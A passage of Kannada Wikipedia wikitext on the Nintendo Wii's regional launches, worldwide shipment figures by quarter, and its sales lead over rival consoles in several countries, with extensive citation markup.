Revealed|publisher=IGN|date=2006-09-13|accessdate=2009-04-09|archive-date=2010-04-20|archive-url=https://web.archive.org/web/20100420072155/http://wii.ign.com/articles/732/732669p1.html|url-status=dead}}</ref> ಇದನ್ನು ನಂತರ ಯುನೈಟೆಡ್ ಕಿಂಗ್‌ಡಮ್‌ನಲ್ಲಿ ಡಿಸೆಂಬರ್ 8, 2006ರಂದು £179 ಬೆಲೆಗೆ ಮಾರುಕಟ್ಟೆಗೆ ಬಿಡುಗಡೆ ಮಾಡಲಾಯಿತು.<ref>{{cite web|first1=Rhys|last1=Blakely|first2=Dan|last2=Sabbagh|url= http://business.timesonline.co.uk/tol/business/industry_sectors/technology/article640270.ece|title=Nintendo announces Wii launch date in UK|publisher=Times Online|date=2006-09-15|accessdate=2009-04-13|location=London}}</ref> UK ಒಂದು ವ್ಯಾಪಕವಾದ ಕನ್ಸೊಲ್ ಘಟಕಗಳ ಕೊರತೆಯನ್ನು ಅನುಭವಿಸಿತು ಅದು ಬಿಡುಗಡೆಯಾದಾಗ ಹಲವು ದೊಡ್ದ-ರಸ್ತೆ ಮತ್ತು ಅನ್‌ಲೈನ್ ಸ್ಟೊರ್‌ಗಳು ಎಲ್ಲಾ ಮುಂಚಿತ ಬೇಡಿಕೆಗಳನ್ನು ಪೂರೈಸಲು ಅಸಮರ್ಥವಾದವು.<ref name="UKWii Shortage">{{cite news|url=http://news.bbc.co.uk/1/hi/technology/6161717.stm| title=Wii shortages frustrating gamers|date=2006-12-08| accessdate=2006-12-08|publisher=BBC}}</ref> [[ದಕ್ಷಿಣ ಕೊರಿಯಾ]]ದಲ್ಲಿ ಏಪ್ರಿಲ್ 26, 2008ರಂದು [[ತೈವಾನ್‌]]ನಲ್ಲಿ ಜುಲೈ 12, 2008ರಂದು ವೈಯನ್ನು ಮಾರುಕಟ್ಟೆಗೆ ಬಿಡುಗಡೆಮಾಡಲಾಯಿತು.<ref>{{cite web|url=http://www.gamesindustry.biz/articles/wii-to-release-in-taiwan-july-12|title=Wii to Release in Taiwan, July 12|publisher=[[Eurogamer|GamesIndustry.biz]]|last=Martin|first=Matt|date=2008-06-26|accessdate= 2008-06-26}}</ref><ref>{{cite web|url =http://www.gamespot.com/downloads/6163607|archiveurl= https://web.archive.org/web/20070930223622/http://www.gamespot.com/events/wiilaunch/story.html?sid=6163607|archivedate=2007-09-30|title=DS, Wii heading to Korea|first=Emma|last=Boyes|publisher=[[GameSpot]]|date=2006-12-29|accessdate=2008-09-25}}</ref> ===ಸಿಸ್ಟಮ್‌ಗಳ ಮಾರಾಟ=== {{See also|Wii launch#Sales|l1=Sales at launch}} {| class="wikitable" style="float:right;text-align:right" |+ ಇಲ್ಲಿಯವೆರೆಗೆ ಮಾರಾಟವಾದ ಸಂಖ್ಯೆ <td>[[ಹಡಗಿನಲ್ಲಿ ಸಾಗಿಸಲಾದ ಉಪಕರಣಗಳು]], ಮಿಲಿಯನ್‌ನಲ್ಲಿ</td> |- ! ದಿನಾಂಕ ! ಜಪಾನ್‌ ! ಅಮೆರಿಕ ! ಇತರೆ ! ವಿಶ್ವಾದ್ಯಂತ |- !2006-12-31<ref name="earnings release Q4 2006">{{cite web|url=http://www.nintendo.co.jp/ir/pdf/2007/070125e.pdf#page=6|title= Consolidated Financial Highlights|accessdate=2009-10-29|date=2007-01-25|format=PDF|publisher=Nintendo|page=8}}</ref> | 1.14 | 1.25 | 0.80 ! 3.19 |- !2007-03-31<ref name="earnings release Q1 2007">{{cite web|url=http://www.nintendo.co.jp/ir/pdf/2007/070426e.pdf#page=21|title= Consolidated Financial Highlights|accessdate=2009-10-29|date=2007-04-26|format=PDF|publisher=Nintendo|page=8}}</ref> | 2.00 | 2.37 | 1.47 ! 5.84 |- !2007-06-30<ref name="earnings release Q2 2007">{{cite web|url=http://www.nintendo.co.jp/ir/pdf/2007/070725e.pdf#page=8|title= Consolidated Financial Highlights|accessdate=2009-10-29|date=2007-07-25|format=PDF|publisher=Nintendo|page=8}}</ref> | 2.95 | 3.81 | 2.51 ! 9.27 |- !2007-09-30<ref name="earnings release Q3 2007">{{cite web|url=http://www.nintendo.co.jp/ir/pdf/2007/071025e.pdf#page=22|title= Consolidated Financial Highlights|accessdate=2009-10-29|date=2007-10-25|format=PDF|publisher=Nintendo|page=22}}</ref> | 3.67 | 5.46 | 4.04 ! 13.17 |- !2007-12-31<ref name="earnings release Q4 2007">{{cite web|url=http://www.nintendo.co.jp/ir/pdf/2008/080124e.pdf#page=8|title= Consolidated Financial Highlights|accessdate=2009-10-29|date=2007-01-24|format=PDF|publisher=Nintendo|page=8}}</ref> | 4.99 | 8.85 | 6.30 ! 20.13 |- !2008-03-31<ref name="earnings release Q1 2008">{{cite web|url=http://www.nintendo.co.jp/ir/pdf/2008/080424e.pdf#page=22|format= PDF|accessdate=2009-10-29|date=2008-04-24|title=Consolidated Financial Statements|publisher=Nintendo|page=22}}</ref> | 5.90 | 10.61 | 7.94 ! 24.45 |- !2008-06-30<ref name="earnings release Q2 2008">{{cite web|url=http://www.nintendo.co.jp/ir/pdf/2008/080730e.pdf#page=11|title= Consolidated Financial Highlights|accessdate=2009-10-29|date=2008-07-30|format=PDF|publisher=Nintendo|page=11}}</ref> | 6.43 | 13.11 | 10.08 ! 29.62 |- ! 2008-09-30<ref name="earnings release Q3 2008">{{cite web |url=http://www.nintendo.co.jp/ir/pdf/2008/081030e.pdf#page=11 |title=Consolidated Financial Highlights |accessdate=2009-10-29 |date=2008-10-30 |format=PDF |publisher=Nintendo|page=11}}</ref> | 6.91 | 15.19 | 12.45 ! 34.55 |- ! 2008-12-31<ref name="earnings release Q4 2008">{{cite web |url=http://www.nintendo.co.jp/ir/pdf/2009/090129e.pdf#page=11 |title=Consolidated Financial Highlights |accessdate=2009-10-29 |date=2008-12-31 |format=PDF |publisher=Nintendo |page=11}}</ref> | 7.80 | 20.40 | 16.76 ! 44.96 |- ! 2009-03-31<ref name="earnings release Q1 2009">{{cite web |url=http://www.nintendo.co.jp/ir/pdf/2009/090507e.pdf#page=23 |title=Consolidated Financial Highlights |accessdate=2009-10-29 |date=2009-04-31 |format=PDF |publisher=Nintendo |page=22}}</ref> | 7.96 | 23.54 | 18.89 ! 50.39 |- !2009-06-30<ref name="earnings release Q2 2009">{{cite web|title=Consolidated Financial Highlights|url=http://www.nintendo.co.jp/ir/pdf/2009/090730e.pdf#page=9|publisher=Nintendo|format=PDF|page=9|date=2009-07-30|accessdate=2009-10-29}}</ref> | 8.17 | 24.42 | 20.03 ! 52.62 |- ! 2009-09-30<ref name="earnings release Q3 2009" /> | 8.68 | 25.99 | 21.48 ! 56.14 |- ! 2009-12-31<ref name="wii sells 67 million">{{cite web |title=DS sells 125 million worldwide, Wii up to 67 million |url=http://www.joystiq.com/2010/01/28/ds-sells-125-million-worldwide-wii-up-to-67-million/ |publisher=Joystiq |date=2010-01-28 |accessdate=2010-01-28}}</ref> | 9.72 | 32.02 | 25.71 ! 67.45 |- ! 2010-03-31<ref name="Nintendo fiscal year report" /> | 10.34 | 33.40 | 27.19 ! 70.93 |} ಇದರ ಆರಂಭದ ತರುವಾಯದಿಂದ, ಕನ್ಸೊಲ್‌‌ನ ತಿಂಗಳ ಮಾರಾಟಗಳ ಸಂಖ್ಯೆ ವಿಶ್ವದೆಲ್ಲೇಡೆಯ ಅದರ ಪ್ರತಿಸ್ಪರ್ಧಿಗಳಿಂತ ಹೆಚ್ಚಾಗಿದೆ. [[NPD ಗ್ರೂಪ್‌]] ಪ್ರಕಾರ, 2007ರ ಮೊದಲ ಅರ್ಧದಲ್ಲಿ ವೈ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದಲ್ಲಿ ಸಂಯೋಜಿಸಿದ Xbox 360 ಮತ್ತು [[ಪ್ಲೇಸ್ಟೇಶನ್ 3]]ಕ್ಕಿಂತ ಹೆಚ್ಚು ಘಟಕಗಳನ್ನು ಮಾರಾಟ ಮಾಡಿದೆ.<ref name="wiisalesUSA">{{cite web|url=https://arstechnica.com/gaming/news/2007/07/first-half-of-console-sales-for-2007-nintendo-the-big-winner-ps3-dead-last.ars|archiveurl=https://web.archive.org/web/20070915005040/https://arstechnica.com/news.ars/post/20070724-first-half-of-console-sales-for-2007-nintendo-the-big-winner-ps3-dead-last.html|archivedate=2007-09-15|date= 2007-07-24|first=Ben|last=Kuchera|title=Nintendo the big winner, PS3 dead last for the first half of 2007|publisher=Ars Technica| accessdate= 2007-07-31}}</ref> ಜಪಾನ್‌ ಮಾರುಕಟ್ಟೆಯಲ್ಲಿ ಈ ಮುಂದುವರಿಕೆ ಇನ್ನೂ ಹೆಚ್ಚಾಗಿದೆ, ಆರಂಭದಿಂದ ನವೆಂಬರ್‌ 2007ರವರೆಗೆ ಹೆಚ್ಚುಕಡಿಮೆ ಪ್ರತಿ ವಾರ 2:1<ref>{{cite web|url=http://www.edge-online.com/news/xbox-360-trumps-ps3-japan|title=Xbox 360 Trumps PS3 in Japan|publisher=''Edge'' online|date=2007-11-09|accessdate= 2007-11-27}}</ref> ರಿಂದ 6:1<ref name="wiisalesJapan">{{cite web|url=http://wii.qj.net/Media-Create-sales-stats-July-9-15-Nintendo-continues-domination/pg/49/aid/98118|date=2007-07-21|author=Nicolo S.|title=Media Create sales stats (July 9–15): Nintendo continues domination|publisher=qj.net|accessdate=2007-08-01|archive-date=2009-02-11|archive-url=https://web.archive.org/web/20090211065100/http://wii.qj.net/Media-Create-sales-stats-July-9-15-Nintendo-continues-domination/pg/49/aid/98118|url-status=dead}}</ref> ಅಂಶಗಳವರೆಗೆ ಎರಡು ಕನ್ಸೊಲ್‌ಗಳನ್ನು ಹೆಚ್ಚು ಮಾರಾಟ ಮಾಡುವ ಮೂಲಕ ಇದು ಪ್ರಸ್ತುತ ಒಟ್ಟು ಮಾರಾಟಗಳಲ್ಲಿ ಅಗ್ರಸ್ಥಾನದಲ್ಲಿದೆ.<ref>{{cite web|url=http://www.computerandvideogames.com/article.php?id=176131| title=PS3 tops Wii in Japan... AGAIN|publisher=[[ComputerAndVideoGames.com]]|first=Mike|last=Jackson|date=2007-11-22|accessdate= 2008-09-25}}</ref> ಆಸ್ಟ್ರೇಲಿಯಾದಲ್ಲಿ, ವೈ [[Xbox 360]] ನಿರ್ಮಿಸಿದ ದಾಖಲೆಯನ್ನು ಮೀರಿತು, ಆಸ್ಟ್ರೇಲಿಯಾದ ಇತಿಹಾಸದಲ್ಲಿ ಅತಿ ಶೀಘ್ರವಾಗಿ ಮಾರಾಟವಾದ ಆಟದ ಕನ್ಸೊಲ್ ಆಗಿದೆ. ಸೆಪ್ಟೆಂಬರ್ 12, 2007ರಂದು, ಎಂದು ''[[ಫೈನ್ಯಾಶಿಯಲ್ ಟೈಮ್ಸ್]]'' ವರದಿ ಮಾಡಿದೆ ವೈ ಒಂದು ವರ್ಷ ಮೊದಲು ಬಿಡುಗಡೆಯಾದ Xbox 360 ಅನ್ನು ಮೀರಿದೆ, ಮತ್ತು [[ಎಂಟರ್‌ಬ್ರೈನ್]], NPD ಗ್ರೂಪ್, ಮತ್ತು [[GfK]]ಯಿಂದ ಮಾರಾಟಗಳ ಅಂಕಿಅಂಶಗಳ ಆಧಾರದ ಮೇಲೆ, ಪ್ರಸ್ತುತ ಪೀಳಿಗೆಯ ಮನೆ ಕನ್ಸೊಲ್ ಮಾರಾಟಗಳಲ್ಲಿ ಮಾರುಕಟ್ಟೆಯ ಮುಂದಾಳಾಗಿದೆ.<ref name="wiileads">{{cite web|last=Sanchanta|first=Mariko|title=Nintendo’s Wii takes console lead|publisher=[[Financial Times]]|date=2007-09-12|url=http://www.ft.com/cms/s/0/51df0c84-6154-11dc-bf25-0000779fd2ac.html|accessdate=2008-01-20|archive-date=2009-03-23|archive-url=https://www.webcitation.org/5fV2Od1Rb?url=http://media.ft.com/j/browser.js|url-status=dead}}</ref> [[ಸೂಪರ್ ನಿಂಟೆಂಡೊ ಎಂಟರ್‌ಟೈನ್‌ಮೆಂಟ್ ಸಿಸ್ಟಮ್]] ತರುವಾಯು ಮೊದಲ ಬಾರಿಗೆ ಒಂದು ನಿಂಟೆಂಡೊ ಕನ್ಸೊಲ್ ಮಾರಾಟಗಳಲ್ಲಿ ಅದರ ಪೀಳಿಗೆಯ ಮುಂದಾಳಾಗಿದೆ.<ref name="wiileads" /> ಜುಲೈ 11, 2007ರಂದು, ಆ ಕ್ಯಾಲೆಂಡರ್‌ ವರ್ಷ ಪೂರ್ತಿ ವೈಯ ಪೂರೈಕೆಯಲ್ಲಿ ಕೊರತೆಯಾಗುತ್ತದೆ ಎಂದು ನಿಂಟೆಂಡೊ ಎಚ್ಚರಿಸಿತು.<ref>{{cite news|url=http://money.cnn.com/2007/07/11/news/companies/wii/index.htm|publisher=CNN|date=2007-07-11|title=Christmas morn without a Wii?|accessdate=2008-10-23}}</ref> ನಿಂಟೆಂಡೊ ಪ್ರತಿ ತಿಂಗಳು ಅಂದಾಜು 1.8&nbsp;ಮಿಲಿಯನ್ ವೈ ಕನ್ಸೊಲ್‌ಗಳನ್ನು ತಯಾರಿಸುತ್ತದೆ ಎಂದು [[Reggie ಫಿಲ್ಸ್-Aimé]] ಡಿಸೆಂಬರ್‌ 2007ರಲ್ಲಿ, ಬಹಿರಂಗ ಪಡಿಸಿದರು.<ref>{{cite web|url=http://www.abcnews.go.com/Technology/GadgetGuide/story?id=4001054&page=1|date=2007-12-18|title=Can't Find a Wii? Take a Rain Check|first=Ashley|last=Phililps|publisher=ABC News|accessdate=2008-10-23}}</ref> ಮಾರ್ಚ್‌ 2007ರ ಪ್ರಕಾರ ಕೆಲವು UK ಅಂಗಡಿಗಳು ಇನ್ನೂ ಕನ್ಸೊಲ್‌ಗಳ ಕೊರತೆಯನ್ನು ಹೊಂದಿದವು,<ref name="UKWii Shortage March">{{cite web|url=http://wii.ign.com/articles/770/770565p1.html|title=UK Wiis "Like Gold Dust"|date=2007-03-06|accessdate=2007-04-18|publisher=IGN|first=Rob|last=Burman|archive-date=2012-02-10|archive-url=https://web.archive.org/web/20120210080634/http://wii.ign.com/articles/770/770565p1.html|url-status=dead}}</ref> ಜೂನ್ 2007ರಂತೆ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದಲ್ಲಿ ಬೇಡಿಕೆ ಸರಬರಾಜಿಗಿಂತ ಹೆಚ್ಚಾಗಿತ್ತು<ref name="USWii Shortage June">{{cite web|url=http://www.komonews.com/news/tech/8252247.html|title=Demand for Wii still outpaces supply|date=2007-06-29|accessdate=2007-07-01|publisher=komo-tv|archive-date=2012-05-07|archive-url=https://web.archive.org/web/20120507114232/http://www.komonews.com/news/tech/8252247.html|url-status=dead}}</ref> ಮತ್ತು ಕೆನಡಾದಲ್ಲಿ ಏಪ್ರಿಲ್ 2008ರಂತೆ "ರಿಟೇಲ್‌ ಮಳಿಗೆಗಳಲ್ಲಿ ಸಿಸ್ಟಮ್‌ಗಳು ಬರುತ್ತಿದ್ದಂತೆಯೇ ತಕ್ಷಣಕ್ಕೆ ಮಾರಾಟವಾಗುತ್ತಿದ್ದವು."<ref name="CanadaNPD" /><ref name="CanadaNPD2" /> ಅಕ್ಟೋಬರ್ 2008ರಲ್ಲಿ, ಅಕ್ಟೋಬರ್ ಮತ್ತು ಡಿಸೆಂಬರ್ 2008ರ ನಡುವೆ ವೈ ಅದರ ಉತ್ತರ ಅಮೆರಿಕದ ಪೂರೈಕೆಗಳನ್ನು 2007ರ ಮಟ್ಟಗಳಿಂದ ಗಣನೀಯವಾಗಿ ಹೆಚ್ಚಿಸುತ್ತದೆ ಎಂದು ನಿಂಟೆಂಡೊ ಘೋಷಿಸಿತು.<ref>{{cite press release|url=http://www.nintendo.ca/cgi-bin/usersite/display_info.cgi?lang=en&pageNum=9&id=1955846|title=Nintendo's holiday 2008: Wii Speak Channel, Club Nintendo, more surprises|publisher=Nintendo|date=2008-10-02|accessdate=2008-10-23|archive-date=2008-11-12|archive-url=https://web.archive.org/web/20081112130457/http://www.nintendo.ca/cgi-bin/usersite/display_info.cgi?lang=en|url-status=dead}}</ref> 2007ರಲ್ಲಿ ಪ್ರತಿ ತಿಂಗಳು 1.6 ಮಿಲಿಯನ್‌ ಮಾರಾಟವಾಗುತ್ತಿದ್ದವು ಈ ಸಂಧರ್ಬದಲ್ಲಿ ಒಂದು ತಿಂಗಳಿಗೆ ಪ್ರಪಂಚದಲ್ಲೆಡೆ 2.4 ಮಿಲಿಯನ್ ವೈ ಘಟಕಗಳನ್ನು ಪ್ರತಿ ತಿಂಗಳು ಉತ್ಪಾದಿಸಲಾಗುತ್ತಿತ್ತು. [[2007ರಲ್ಲಿ]], USನಲ್ಲಿ ವೈಯು ಎರಡನೆಯ ಉತ್ತಮ ಮಾರಾಟವಾದ ಆಟದ ಕನ್ಸೊಲ್ ಆಗಿದೆ (ನಿಂಟೆಂಡೊ DS ಹಿಂದೆ) ಮತ್ತು NPD ಗ್ರೂಪ್‌ ಮತ್ತು ಎಂಟರ್‌ಬ್ರೈನ್ ಪ್ರಕಾರ ಜಪಾನ್‌ನಲ್ಲಿ ಕ್ರಮವಾಗಿ 6.29&nbsp;ಮಿಲಿಯನ್ ಮತ್ತು 3,629,361 ಘಟಕಗಳು ಮಾರಾಟವಾದವು.<ref>{{cite web|url=http://www.gamasutra.com/php-bin/news_index.php?story=17006|title=NPD: 2007 U.S. Game Industry Growth Up 43% To $17.9 Billion|first=Brandon|last=Boyer|publisher=[[Gamasutra]]|accessdate=2008-05-24|date=2008-01-18}}</ref><ref>{{cite press release|url=http://www.nintendo.com/whatsnew/detail/UQkQDsY6UcUbiHdjvIEXMrbwcYk2sbpx|title=Independent Data Reveals Nintendo Sales for 2007|publisher=Nintendo|accessdate=2008-05-25|date=2008-01-17|archive-date=2008-04-21|archive-url=https://web.archive.org/web/20080421182408/http://www.nintendo.com/whatsnew/detail/UQkQDsY6UcUbiHdjvIEXMrbwcYk2sbpx|url-status=dead}}</ref><ref name="Japan2007" /><ref>{{cite web|url= http://www.mcvuk.com/news/29249/SPECIAL-REPORT-Japans-2007-market-stats-in-full |title=Special report: Japan’s 2007 market stats in full|accessdate=2008-05-25|first=Neil|last=Long|date=2008-01-07|work=[[Market for Home Computing and Video Games]]|publisher= Intent Media}}</ref><ref name="Japan2007-2008" /> ಅದೇ ವರ್ಷದಲ್ಲಿ, ಜಪಾನ್‌ನಲ್ಲಿ ವೈಯು ಪ್ಲೇಸ್ಟೇಶನ್3ಕ್ಕಿಂತ 3:1 ಮೂಲಕ ಹೆಚ್ಚಿಗೆ ಮಾರಟವಾಯಿತು, ಹಾಗೆ ಎಂಟರ್‌ಬ್ರೈನ್ ಪ್ರಕಾರ Xbox 360 ಆ ಪ್ರದೇಶದಲ್ಲಿ ಅದೇ ವರ್ಷ 257,841 ಘಟಕಗಳನ್ನು ಮಾರಾಟಮಾಡಿತು.<ref>{{cite web|url=http://www.reuters.com/article/companyNews/idUSTFA00293420080107?sp=true|title=Nintendo Wii outsells PS3 3-to-1 in Japan|accessdate=2008-05-25|author= Kiyoshi Takenaka and Hugh Lawson|date=2008-01-07|publisher=Reuters}}</ref><ref>{{cite web|url=http://gamasutra.com/php-bin/news_index.php?story=16852|title=Enterbrain: Wii Lead Over PS3 Rises To 3:1|accessdate=2008-02-02|author=David Jenkins|date= 2008-01-07|work=[[Gamasutra]]|publisher=[[United Business Media|CMP Media]]}}</ref> [[ಎಲೆಕ್ಟ್ರಾನಿಕ್ ಆರ್ಟ್ಸ್‌]]ನ ಅಂದಾಜಿನ ಪ್ರಕಾರ ಯುರೋಪ್‌ನಲ್ಲಿ, ವೈ 0.7 ಘಟಕಗಳನ್ನು [[2006ರಲ್ಲಿ]] ಮತ್ತು 2007ರಲ್ಲಿ 4.8 ಮಿಲಿಯನ್‌ನನ್ನು ಮಾರಾಟ ಮಾಡಿತು.<ref>{{cite web|url= http://media.corporate-ir.net/media_files/IROL/88/88189/Q3FY08SupSeg.pdf#page=4|title=Supplemental Segment Information|accessdate= 2008-02-09|author=[[Electronic Arts]]|date=2008-01-31|work=[[Thomson Financial]]|publisher=|page=4|format=PDF}}</ref><ref>{{cite web|url=http://www.gamasutra.com/php-bin/news_index.php?story=17206|title=EA Reveals European Hardware Estimates|accessdate= 2008-02-09|author=David Jenkins|date=2008-02-01|work=[[Gamasutra]]|publisher=[[United Business Media|CMP Media]]}}</ref> ಎಂಟರ್‌ಬ್ರೈನ್ ಪ್ರಕಾರ [[2008ರಲ್ಲಿ]], 2,908,342 ಘಟಕಗಳ ಮಾರಾಟದೊಂದಿಗೆ ಜಪಾನ್‌ನಲ್ಲಿ ವೈಯು ಉತ್ತಮ ಮಾರಾಟಗೊಂಡ ಮನೆ ಕನ್ಸೊಲ್ ಆಗಿದೆ.<ref name="Japan2007-2008">{{cite web|url=http://www.mcvuk.com/news/32880/JAPAN-Market-shrinks-by-15-per-cent-in-2008| title=Japanese 2008 Market Report|publisher=[[Market for Home Computing and Video Games]]|date=2009-01-09|accessdate=2009-01-15}}</ref><ref name="Japan2008">{{cite web|url=http://www.famitsu.com/game/news/1221045_1124.html|title=2008年国内ゲーム市場規模は約5826億1000万円（エンターブレイン調べ）|work=[[Famitsu]]|publisher=[[Enterbrain]]|language=Japanese|date=2009-01-05|accessdate=2009-01-15}}</ref><ref>{{cite web|url= http://www.gamasutra.com/php-bin/news_index.php?story=21763|title=Japanese Games Market Shrinks 15.3 Percent In 2008|author=David Jenkins|publisher=[[Gamasutra]]|date=2009-01-07|accessdate=2009-01-15}}</ref> NPD ಗ್ರೂಪ್‌ನ ಡಾಟದ ಪ್ರಕಾರ, ಜನವರಿ 2008ರ NPD ಗ್ರೂಪ್‌ನ ವಿಡಿಯೋ ಗೇಮ್‌ ಅಂಕಿಅಂಶಗಳ ಬಿಡುಗಡೆಗೆ ಮೊದಲು, USನಲ್ಲಿ ವೈ ಮತ್ತು PS3ನ ಬಿಡುಗಡೆಯ ನಂತರದಿಂದ ಹೆಚ್ಚಿನ ತಿಂಗಳು ಮಾರಾಟಗಳಲ್ಲಿ Xbox 360 ಮತ್ತು PS3ಗಿಂತ ಮುಂದೆ ವೈ ಇತ್ತು.<ref name="seattlepi">{{cite web|url=http://www.seattlepi.com/business/351201_tbrfs14.html|title=Supply shortages hurt Xbox sales last month|accessdate=2008-02-15|date=2008-02-14|work=[[Seattle Post-Intelligencer]]|publisher=[[Hearst Corporation]]}}</ref> ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದಲ್ಲಿ, ಜುಲೈ 1, 2008ರ ವೇಳೆಗೆ ವೈಯ 10.9&nbsp;ಮಿಲಿಯನ್ ಘಟಕಗಳ ಮಾರಾಟವಾಗಿತ್ತು, ಇದು ವೈಯನ್ನು ಪ್ರಸ್ತುತ ಪೀಳಿಗೆಯ ಮನೆ ಕನ್ಸೊಲ್ ಮಾರಾಟಗಳಲ್ಲಿ ಮುಂದಾಳಾಗಿ ಮಾಡುತ್ತದೆ, NPD ಗ್ರೂಪ್‌ ಪ್ರಕಾರ, ವೈಗಿಂತ ಒಂದು ವರ್ಷ ಮೊದಲು ಬಿಡುಗಡೆಯಾದ Xbox 360ನನ್ನು ಮೀರಿಸಿದೆ.<ref>{{cite web|url=http://www.gamespot.com/news/6194691.html|title=NPD: PS3 sales spike on MGS4|first=Tom|last=Magrino|date=2008-07-17|publisher=[[GameSpot]]|accessdate=2008-11-22}}</ref><ref>{{cite web|url= http://www.edge-online.com/news/npd-wii-overtakes-360-us|title=NPD: Wii Overtakes 360 in US|first=Joe|last=Keiser|publisher= ''[[Edge (magazine)|Edge]]''|date=2008-07-17|accessdate=2008-11-22}}</ref><ref>{{cite web|url=http://www.sfgate.com/cgi-bin/blogs/techchron/detail?blogid=19&entry_id=28286|title=E3: Nintendo Wii pulls ahead of Xbox 360 in console sales|first=Ryan|last=Kim| publisher=San Francisco Chronicle|date=2008-07-17|accessdate=2008-11-22}}</ref> ನವೆಂಬರ್‌ 1, 2008ರ ಪ್ರಕಾರ, USನಲ್ಲಿ ವೈಯ 13.4 ಮಿಲಿಯನ್‌ ಘಟಕಗಳು ಮಾರಾಟವಗಿದೆ, NPD ಗ್ರೂಪ್‌ ಪ್ರಕಾರ Xbox 360ಕ್ಕಿಂತ ಸುಮಾರು ಎರಡು ಮಿಲಿಯನ್‌ಗಿಂತ ಹೆಚ್ಚು ಮತ್ತು ಪ್ಲೇಸ್ಟೇಷನ್‌ 3 ಗಿಂತ ಎರಡುಪಟ್ಟು ಹೆಚ್ಚು ಘಟಕಗಳ ಮಾರಾಟವಾದವು.<ref>{{cite web|url=http://www.gamedaily.com/articles/news/wii-us-installed-base-now-leads-xbox-360-by-almost-2-million|title=Wii U.S. Installed Base Now Leads Xbox 360 by Almost 2 Million|first=James|last=Brightman|work=[[GameDaily]]|publisher=[[AOL]]|date=2008-11-14|accessdate=2008-11-22|archive-date=2008-12-29|archive-url=https://web.archive.org/web/20081229150210/http://www.gamedaily.com/articles/news/wii-us-installed-base-now-leads-xbox-360-by-almost-2-million|url-status=dead}}</ref> ಜಪಾನ್‌ನಲ್ಲಿ, ಜನವರಿ 2008ರ ವೇಳೆಗೆ ಮಾರಾಟವಾದ [[ನಿಂಟೆಂಡೊ ಗೇಮ್‌ಕ್ಯೂಬ್ ಘಟಕ ಸಂಖ್ಯೆಗಳನ್ನು ವೈ ಮೀರಿತ್ತು; ಎಂಟರ್‌ಬ್ರೈನ್ ಪ್ರಕಾರ ವೈ ಡಿಸೆಂಬರ್ 28, 2008ರಲ್ಲಿ 7,526,821 ಘಟಕಗಳನ್ನು ಮಾರಾಟಮಾಡಿತ್ತು.|ನಿಂಟೆಂಡೊ ಗೇಮ್‌ಕ್ಯೂಬ್[[ಘಟಕ ಸಂಖ್ಯೆಗಳನ್ನು ವೈ ಮೀರಿತ್ತು;<ref name="Japan2007">{{cite web|url= http://www.gamasutra.com/php-bin/news_index.php?story=16914|title=Wii Sports Named Best Selling Game Of 2007 In Japan|last=Jenkins| first=David|date=2008-01-11|publisher=[[Gamasutra]]|accessdate=2008-02-02}}</ref> ಎಂಟರ್‌ಬ್ರೈನ್ ಪ್ರಕಾರ ವೈ ಡಿಸೆಂಬರ್ 28, 2008ರಲ್ಲಿ 7,526,821 ಘಟಕಗಳನ್ನು ಮಾರಾಟಮಾಡಿತ್ತು.<ref name="Japan2008" /><ref>{{cite web|url=http://kotaku.com/5123288/last-year-japanese-game-market-experienced-shrinkage|title=Last Year, Japanese Game Market Experienced Shrinkage|first=Brian|last=Ashcraft|publisher=Kotaku|date= 2009-01-05|accessdate=2009-01-15}}</ref>]]]] NPD ಗ್ರೂಪ್‌ ಪ್ರಕಾರ, ವೈ Xbox 360ನ್ನು ಮೀರಿಸಿತು, ಏಪ್ರಿಲ್ 1, 2008ರ ವೇಳೆಗೆ, ಕೆನಡಾದಲ್ಲಿ 813,000 ಘಟಕಗಳು ಮಾರಾಟವಾಗುವುದರ ಮೂಲಕ ವೈಯು "ಮುಂದಿನ ಪೀಳಿಗೆ"ಯ ಉತ್ತಮ ಮಾರಾಟವಾದ ಮನೆ ವಿಡಿಯೋ ಗೆಮ್ ಕನ್ಸೊಲ್‌ ಆಗಿದೆ ಮತ್ತು ಹಿಂದಿನ 13 ತಿಂಗಳುಗಳಲ್ಲಿ 7 ತಿಂಗಳು ಉತ್ತಮ ಮಾರಾಟಗೊಂಡ ಮನೆ ಕನ್ಸೊಲ್ ಆಗಿದೆ.<ref name="CanadaNPD">{{cite press release|url=http://www.newswire.ca/en/releases/archive/April2008/17/c6749.html|title=Wii surpasses all other next generation consoles in lifetime sales|accessdate=2008-04-24|date=2008-04-17|publisher=[[Nintendo]]|archive-date=2008-04-20|archive-url=https://web.archive.org/web/20080420172921/http://www.newswire.ca/en/releases/archive/April2008/17/c6749.html|url-status=dead}}</ref><ref name="CanadaNPD2">{{cite news|url= http://evergeek.thestar.com/news/2996.aspx|title= NPD reports Nintendo Wii tops Canadian sales charts|date= 2008-04-22|work= Evergeek Media|publisher= [[Toronto Star]]|accessdate= 2008-08-02|archive-date= 2010-07-26|archive-url= https://web.archive.org/web/20100726233928/http://evergeek.thestar.com/news/2996.aspx|url-status= dead}}</ref> 2008ರ ಮೊದಲ ಆರು ತಿಂಗಳಲ್ಲಿ, ಕೆನಡಾದಲ್ಲಿ ವೈಯ 318,000 ಘಟಕಗಳು ಮಾರಾಟವಾಗಿದೆ, ಅದರ ತೀರ ನಿಕಟ ಪ್ರತಿಸ್ಪರ್ಧಿ ಪ್ಲೇಸ್ಟೇಶನ್‌3ಗಿಂತ ಹೆಚ್ಚು ಮಾರಾಟವಾಗಿದೆ, ಸುಮಾರು 2:1.<ref>{{cite web|url=http://ca.news.yahoo.com/s/capress/080730/business/games_wii_what_a_year|title= Wii nears one million consoles in Canada, drives Nintendo profits|first=Neil|last= Davidson|date=2008-07-30|work=[[The Canadian Press]]|publisher=[[Yahoo!]]|accessdate=2008-08-02}}{{Dead link|date=April 2009}}</ref> NPD ಗ್ರೂಪ್‌ ಪ್ರಕಾರ, ಆಗಸ್ಟ್ 1, 2008ರಂತೆ, ಕೆನಡಾದಲ್ಲಿ ವೈಯ 1,060,000 ಘಟಕಗಳ ಒಂದು ಮೊತ್ತ ಮರಾಟವಾಗಿದೆ, ಇದು ವೈಯನ್ನು ಆ ದೇಶದಲ್ಲಿ ಮಿಲಿಯನ್ ಘಟಕಗಳ ಗುರಿಯನ್ನು ಮೀರಿದ ಮೊದಲ ಪ್ರಸ್ತುತ ಪೀಳಿಗೆಯ ಮನೆ ಕನ್ಸೊಲ್ ಆಗಿ ಮಾಡಿತು, 2008ರ ಮೊದಲ ಏಳು ತಿಂಗಳಲ್ಲಿ, 